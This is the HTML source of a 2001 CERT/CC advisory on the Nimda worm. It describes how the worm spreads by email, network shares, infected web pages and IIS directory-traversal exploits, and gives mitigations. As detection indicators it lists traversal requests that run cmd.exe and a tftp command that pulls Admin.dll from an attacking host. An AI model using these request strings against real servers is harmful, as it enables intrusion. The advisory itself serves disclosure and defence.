<BODY>
Original release date: September 18, 2001<BR> 
Revised: September 25, 2001<BR>
Source: CERT/CC<BR>

<P>
A complete revision history is at the end of this file. 

<A name=affected>
<H3>Systems Affected</H3>
<UL>
  <LI>Systems running Microsoft Windows 95, 98, ME, NT, and 2000
</ul>

<A name=overview>

<H2>Overview</H2>

The CERT/CC has received reports of new malicious code known as
the "W32/Nimda worm" or the "Concept Virus (CV) v.5."  This new worm appears
to spread by  multiple mechanisms:

<ul>
<li>from client to client via email
<li>from client to client via open network shares
<li>from web server to client via browsing of compromised web sites
<li>from client to web server via active scanning for and exploitation of various
Microsoft IIS 4.0 / 5.0 directory traversal vulnerabilities (<a href="http://www.kb.cert.org/vuls/id/111677">VU#111677</a> and <a href="http://www.cert.org/advisories/CA-2001-12.html">CA-2001-12</a>) 
<li>from client to web server via scanning for the back doors left behind by
the "Code Red II" (<A
HREF="http://www.cert.org/incident_notes/IN-2001-09.html">IN-2001-09</A>), 
 and "sadmind/IIS" (<a
 href="http://www.cert.org/advisories/CA-2001-11.html">CA-2001-11</a>) worms 
</ul>

<P>The worm modifies web documents (e.g., .htm, .html, and .asp files)
and certain executable files found on the systems it infects, and
creates numerous copies of itself under various file names.
 
<p>We have also received reports of denial of service as a result of
network scanning and email propagation.
 
<A name=description>
<H2>I. Description</H2>

<P>The Nimda worm has the potential to affect both user workstations (clients)
running Windows 95, 98, ME, NT, or 2000 and servers running Windows NT and 2000.  

<H3>Email Propagation</H3>

This worm propagates through email arriving as a MIME "multipart/alternative"
message consisting of two sections.  The first section is defined as MIME type
"text/html", but it
contains no text, so the email appears to have no content.  The second 
section is defined as MIME type "audio/x-wav", but it contains a
base64-encoded attachment named "readme.exe", which is a binary executable.

<P>
Due to a vulnerability described in <A HREF="http://www.cert.org/advisories/CA-2001-06.html">CA-2001-06</A>
(Automatic Execution of Embedded MIME Types), any mail software running on an
x86 platform that uses  
Microsoft Internet Explorer 5.5 SP1 or earlier (except IE 5.01 SP2) to render the HTML mail automatically
runs the enclosed attachment and, as result, infects the machine with the worm.
Thus, in vulnerable configurations, the worm 
payload will automatically be triggered by simply opening (or previewing) this
mail message.  As an executable binary, the  
payload can also be triggered by simply running the attachment.

<P>
The email message delivering the Nimda worm appears to also have the
following characteristics:

<UL>
 <LI>The text in the subject line of the mail message appears to be variable. 

 <P>
 <LI>There appear to be many slight variations in the attached binary file,
 causing the MD5 checksum to be different when one compares different attachments
 from different email messages.  However, the file length of the attachment
 appears to consistently be 57344 bytes.  
</UL>

<P>The worm also contains code that will attempt to resend the
infected email messages every 10 days.

<H3>Payload</H3>

<P>
The email addresses targeted for receiving the worm are harvested from
two sources
<UL>
<LI> the .htm and .html files in the user's web cache folder
<LI> the contents of the user's email messages retrieved via the MAPI service
</UL>

<P>
These files are passed through a simple pattern matcher which collects
strings that look like email addresses.  These addresses then receive
a copy of the worm as a MIME-encoded email attachment.  Nimda stores
the time the last batch of emails were sent in the Windows registry,
and every 10 days will repeat the process of harvesting addresses and
sending the worm via email.
<P>

Likewise, the client machines begin scanning for vulnerable IIS
servers.  Nimda looks for backdoors left by previous IIS worms: Code
Red II [<A HREF="http://www.cert.org/incident_notes/IN-2001-09.html">IN-2001-09</A>]
and sadmind/IIS worm [<a href="http://www.cert.org/advisories/CA-2001-11.html">CA-2001-11</a>].
It also attempts to exploit various IIS Directory Traversal
vulnerabilities (<A HREF="http://www.kb.cert.org/vuls/id/111677">VU#111677</A> 
and <a href="http://www.cert.org/advisories/CA-2001-12.html">CA-2001-12</a>).
The selection of potential target IP addresses follows these rough
probabilities:

<UL>
  <LI>50% of the time, an address with the same first two octets will be chosen
  <LI>25% of the time, an address with the same first octet will be chosen
  <LI>25% of the time, a random address will be chosen
</UL>


The infected client machine attempts to transfer a copy of the Nimda
code via tftp (69/UDP) to any IIS server that it scans and finds to be vulnerable.  

<p>Once running on the server machine, the worm traverses each
directory in the system (including all those accessible through file
shares) and writes a MIME-encoded copy of itself to disk using file
names with .eml or .nws extensions (e.g., readme.eml).  When a
directory containing web content (e.g., HTML or ASP files) is found,
the following snippet of Javascript code is appended to every one of
these web-related files:
<br>
<br>
<img src="/advisories/CA-2001-26/javascript_sample.gif" alt="Example: Javascript snippet">

<p>This modification of web content allows further propagation of the
worm to new clients through a web browser or through the browsing of a
network file system.

<P>
In order to further expose the machine, the worm 
<ul>
<li>enables the sharing
of the c: drive as C$
<li>creates a "Guest" account on Windows NT and
2000 systems
<li>adds this account to the "Administrator" group.
</ul>

<p>Furthermore, the Nimda worm infects existing binaries on the system by creating
Trojan horse copies of legitimate applications.  These Trojan horse
versions of the applications will first execute the Nimda code
(further infecting the system and potentially propagating the worm),
and then complete their intended function.

<H3>Browser Propagation</H3>

As part of the infection process, the Nimda worm modifies all
web content files it finds (including, but not limited to, files with
.htm, .html, and .asp extensions).  As a result, any user browsing web
content on the system, whether via the file system or via a web
server, may download a copy of the worm.  Some browsers may
automatically execute the downloaded copy, thereby infecting the
browsing system.

<h3>File System Propagation</h3>

The Nimda worm creates numerous MIME-encoded copies of itself (using
file names with .eml and .nws extensions) in all writable directories
(including those found on a network share) to which the user has
access.  If a user on another system subsequently selects the copy of
the worm file on the shared network drive in Windows Explorer with the
preview option enabled, the worm may be able to compromise that
system.

<p>Additionally, by creating Trojan horse versions of legitimate
applications already installed on the system, users may unknowingly
trigger the worm when attempting to make use of these programs.

<H3>System FootPrint</H3>

The scanning activity of the Nimda worm produces the following log entries
for any web server listing on port 80/tcp:

<PRE>
GET /scripts/root.exe?/c+dir
GET /MSADC/root.exe?/c+dir
GET /c/winnt/system32/cmd.exe?/c+dir
GET /d/winnt/system32/cmd.exe?/c+dir
GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir
GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir
GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir
GET /msadc/..%5c../..%5c../..%5c/..\xc1\x1c../..\xc1\x1c../..\xc1\x1c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..\xc1\x1c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..\xc0/../winnt/system32/cmd.exe?/c+dir
GET /scripts/..\xc0\xaf../winnt/system32/cmd.exe?/c+dir
GET /scripts/..\xc1\x9c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%2f../winnt/system32/cmd.exe?/c+dir
</PRE>

Note: The first four entries in these sample logs denote attempts to
connect to the backdoor left by Code Red II, while the remaining log
entries are examples of exploit attempts for the Directory Traversal
vulnerability.


<A name=impact>
<H2>II. Impact</H2>

Intruders can execute arbitrary commands within the LocalSystem
security context on machines running the unpatched versions of IIS.
In the case where a client is compromised, the worm will be run with
the same privileges as the user who triggered it.  Hosts that have
been compromised are also at high risk for being party to attacks on
other Internet sites.

<p>The high scanning rate of the Nimda worm may also cause bandwidth
denial-of-service conditions on networks with infected machines.

<A name=solution>
<H2>III. Solutions</H2>

<H3>Recommendations for System Administrators of IIS machines</H3>

<P>To determine if your system has been compromised, look for the
following:

<ul>
<li>a root.exe file (indicates a compromise by Code Red II or
sadmind/IIS worms making the system vulnerable to the Nimda worm)

<li>an Admin.dll file in the root directory of c:\, d:\, or e:\ (Note
that the file name Admin.dll may be legitimately installed by IIS
in other directories.)
 
<li>unexpected .eml or .nws files in numerous directories 

<li>the presence of this string: <font face="courier new">/c+tftp%20-i%20x.x.x.x%20GET%20Admin.dll%20d:\Admin.dll
200</font> in the IIS logs, where "x.x.x.x" is the IP address of the
attacking system.  (Note that only the "200" result code indicates
success of this command.)

</ul>

<P>The only safe way to recover from the system compromise is to
format the system drive(s) and reinstall the system software from
trusted media (such as vendor-supplied CD-ROM).  Additionally, after the
software is reinstalled, all vendor-supplied security patches must be
applied. The recommended time to do this is while the system is not
connected to any network. However, if sufficient care is taken to
disable all server network services, then the patches can be
downloaded from the Internet.
<p>

Detailed instructions for recovering your system can be found in the
CERT/CC tech tip:

<DL><DD>
<a href="http://www.cert.org/tech_tips/win-UNIX-system_compromise.html">Steps for Recovering from a UNIX or NT System Compromise</A>
</DL>

<H4>Apply the appropriate patch from your vendor</H4>

<P>A cumulative patch which addresses all of the IIS-related
vulnerabilities exploited by the Nimda worm is available from
Microsoft at

<DL><DD>
<a href="http://www.microsoft.com/technet/security/bulletin/MS01-044.asp">http://www.microsoft.com/technet/security/bulletin/MS01-044.asp</a>
</DD>
</DL>

<H3>Recommendations for Network Administrators</H3>

<H4>Ingress filtering</H4>

Ingress filtering manages the flow of traffic as it enters a network under your administrative control. 
Servers are typically the only machines that need to accept inbound connections from the public Internet. 
In the network usage policy of many sites, there are few reasons for external hosts to initiate inbound 
connections to machines that provide no public services.  Thus, ingress filtering should be performed 
at the border to prohibit externally initiated inbound connections to non-authortized services. 
With Nimda, ingress filtering of port 80/tcp could prevent instances of the worm outside of your network from scanning or 
infecting vulnerable IIS servers in the local network that are not explicitly authorized to provide public web services. 
Filtering of port 69/udp will also prevent the downloading of the worm to IIS via tftp.

<P>
Cisco has published a tech tip specifically addressing filtering guidelines to mitigate the impact of the Nimda worm at 

<DL><DD>
<a href="http://www.cisco.com/warp/public/63/nimda.shtml">http://www.cisco.com/warp/public/63/nimda.shtml</a>
</DD>
</DL>

<H4>Egress filtering</H4>

Egress filtering manages the flow of traffic as it leaves a network under your administrative control. 
There is typically limited need for machines providing public services to initiate
outbound connections to the Internet. In the case of Nimda, employing egress filtering on port 69/udp at
your network border will prevent certain aspects of the worms propogation both to and from your network.

<H3>Recommendations for End User Systems</H3>

<H4>Apply the appropriate patch from your vendor</H4>

<P>If you are running a vulnerable version of Internet Explorer (IE),
the CERT/CC recommends upgrading to at least version 5.0 since older
versions are no longer officially maintained by Microsoft.  Users of
IE 5.0 and above are encourage to apply patch for the "Automatic
Execution of Embedded MIME Types" vulnerability available from
Microsoft at<BR>

<DL>
  <DD>
<a href="http://www.microsoft.com/technet/security/bulletin/MS01-020.asp">http://www.microsoft.com/technet/security/bulletin/MS01-020.asp</a>
  </DD>
</DL>

<P>Note: IE 5.5 SP1 users should apply the patches discussed in <a href="http://www.microsoft.com/technet/security/bulletin/MS01-027.asp">MS01-027</a> 

<H4>Run and Maintain an Anti-Virus Product</H4>

<P>It is important for users to update their anti-virus software.
Most anti-virus software vendors have released updated information,
tools, or virus databases to help detect and partially recover from
this malicious code.  A list of vendor-specific anti-virus information
can be found in <A HREF="#vendors">Appendix A</A>.

<P>
Many anti-virus packages support automatic updates of virus definitions. 
We recommend using these automatic updates when available.


<h4>Don't open e-mail attachments</h4>

<p>The Nimda worm may arrive as an email attachment named
"readme.exe".  Users should <b>not</b> open this attachment.</p>


<h4>Disable JavaScript</h4>

<P>End-user systems can become infected with the Nimda worm by
browsing web sites hosted by infected servers.  This method of
infection requires the use of JavaScript to be successful.  Therefore,
the CERT/CC recommends that end user systems disable JavaScript until
all appropriate patches have been applied and anti-virus software has
been updated.

<A name="vendors">
<H2>Appendix A. Vendor Information</H2>

<h4>Antivirus Vendor Information</h4>

<h3>Aladdin Knowledge Systems</h3>
<DL><DD>
<a href="http://www.eSafe.com/home/csrt/valerts2.asp?virus_no=10087">http://www.eSafe.com/home/csrt/valerts2.asp?virus_no=10087</a>
</DL>
<h3>Central Command, Inc.</h3>
<DL><DD>
<a href="http://support.centralcommand.com/cgi-bin/command.cfg/php/enduser/std_adp.php?p_refno=010918-000005">http://support.centralcommand.com/cgi-bin/command.cfg/php/enduser/std_adp.php?</a><br><a href="http://support.centralcommand.com/cgi-bin/command.cfg/php/enduser/std_adp.php?p_refno=010918-000005">p_refno=010918-000005</a></a>
</DL>
<h3>Command Software Systems</h3>
<DL><DD>
<a href="http://www.commandsoftware.com/virus/nimda.html">http://www.commandsoftware.com/virus/nimda.html</a>
</DL>
<h3>Computer Associates</h3>
<DL><DD>
<a href="http://www.ca.com/virusinfo/encyclopedia/descriptions/n/nimda.htm">http://www.ca.com/virusinfo/encyclopedia/descriptions/n/nimda.htm</a>
</DL>
<h3>F-Secure Corp</h3>
<DL><DD>
<a href="http://www.fsecure.com/v-descs/nimda.shtml">http://www.fsecure.com/v-descs/nimda.shtml</a>
</DL>
<h3>McAfee</h3>
<DL><DD>
<a href="http://vil.mcafee.com/dispVirus.asp?virus_k=99209&">http://vil.mcafee.com/dispVirus.asp?virus_k=99209&</a>
</DL>
<h3>Panda Software</h3>
<DL><DD>
<a href="http://service.pandasoftware.es/library/card.jsp?Virus=Nimda">http://service.pandasoftware.es/library/card.jsp?Virus=Nimda</a>
</DL>
<h3>Proland Software</h3>
<DL><DD>
<a href="http://www.pspl.com/virus_info/worms/nimda.htm">http://www.pspl.com/virus_info/worms/nimda.htm</a>
</DL>
<h3>Sophos</h3>
<dl><DD>
<a href="http://www.sophos.com/virusinfo/analyses/w32nimdaa.html">http://www.sophos.com/virusinfo/analyses/w32nimdaa.html</a>
</DL>
<h3>Symantec</h3>
<DL><DD>
<a href="http://www.symantec.com/avcenter/venc/data/w32.nimda.a@mm.html">http://www.symantec.com/avcenter/venc/data/w32.nimda.a@mm.html</a>
</dl>
<h3>Trend Micro</h3>
<dl><DD>
<a href="http://www.antivirus.com/vinfo/virusencyclo/default5.asp?VName=TROJ_NIMDA.A">http://www.antivirus.com/vinfo/virusencyclo/default5.asp?VName=TROJ_NIMDA.A</a>
<a href="http://www.antivirus.com/pc-cillin/vinfo/virusencyclo/default5.asp?VName=TROJ_NIMDA.A">http://www.antivirus.com/pc-cillin/vinfo/virusencyclo/default5.asp?VName=TROJ_NIMDA.A</a>
</DL>

<H2>References</H2>
<p>
You may wish to visit the CERT/CC's computer virus resources page located at
<A HREF="http://www.cert.org/other_sources/viruses.html">
<P>
<BLOCKQUOTE>
http://www.cert.org/other_sources/viruses.html</A>
</BLOCKQUOTE>

<hr noshade>
Feedback on this document may be directed to the authors, 
<A href="mailto:cert@cert.org?subject=CA-2001-26%20Feedback">Roman Danyliw, Chad Dougherty</a>,<br> 
<A href="mailto:cert@cert.org?subject=CA-2001-26%20Feedback">Allen Householder, Robin Ruefle</a>.


<!--#include virtual="/include/footer_nocopyright.html" -->

<P>Copyright 2001 Carnegie Mellon University.</P>
<P>Revision History 

<PRE>September 18, 2001: Initial Release
September 19, 2001: Updated link to MS advisory MS01-027
September 19, 2001: Updated antivirus vendor information,
                    updated e-mail propagation description,
                    added reference to second related IIS vul
September 20, 2001: Added link to Computer Associates in vendor information,
                    Updated overview, payload, file system propagation, and 
                    recommendations for system administrator sections
September 20, 2001: Fix link to CA-2001-12 in payload section
September 21, 2001: Added recommendations for network administrators,
                    updated payload section, updated vendor information
                    clarified recommendations for end user systems
September 25, 2001: Qualified note concerning MS01-027  
</PRE>